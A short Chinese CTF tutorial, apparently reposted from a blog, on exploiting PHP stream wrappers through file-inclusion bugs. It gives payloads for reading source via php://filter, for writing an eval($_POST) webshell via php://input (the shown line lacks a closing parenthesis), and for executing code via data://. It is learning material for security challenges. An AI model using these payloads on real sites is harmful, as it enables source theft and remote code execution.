本文共 984 字,大约阅读时间需要 3 分钟。
内容纲要
一、PHP伪协议简介:PHP 支持的协议与封装协议。
二、CTF中常见的PHP伪协议。
file:// — 访问本地文件系统
php:// — 访问各个输入/输出流(I/O streams)
data:// — 数据(RFC 2397)glob:// — 查找匹配的文件路径模式
三、PHP伪协议的利用。
file://的利用
对本地文件进行访问,eg:url?filepath=file:///c:/
2、php://的利用,可能需要存在文件包含漏洞
php://filter/convert.base64-encode/resource=filepath
利用条件:不需要allow_url_fopen、allow_url_include开启
简介:以base64加密的形式读取页面源代码,然后在再对代码进行base64解密就可以得到源代码,eg:url?filepath=php://filter/convert.base64-encode/resource=filepath
CTF实例:在newbugku_web3里面对首页进行代码审计,发现get中需要传递?op=参数,即构造url?op=php://filter/convert.base64-encode/resource=flag,再对得到的内容进行base64解密即得到flag。
php://input[data]
利用条件:需要allow_url_include开启
简介:其中data为需要提交的数据,提交后会以PHP代码形式执行,可以构建上传一句话木马。Eg:url?file=php://input,post提交的data:
<?php fputs(fopen("webshell.php","w"),'<?php eval($_POST["cc"];?>');?>(将一句话写入webshell.php)
CTF实例暂时还没遇到
3、data://的利用
data://text/plain;base64,data(data为base64编码后的数据)
利用条件:需要allow_url_fopen、allow_url_include都开启
简介:如果data传入的数据为PHP代码,就会以PHP代码形式解析数据,可以实现写入一句话或者辅助构造XSS。
CTF实例暂时还没遇到
转载地址:https://blog.csdn.net/weixin_32306771/article/details/115515619 如侵犯您的版权,请留言回复原文章的地址,我们会给您删除此文章,给您带来不便请您谅解!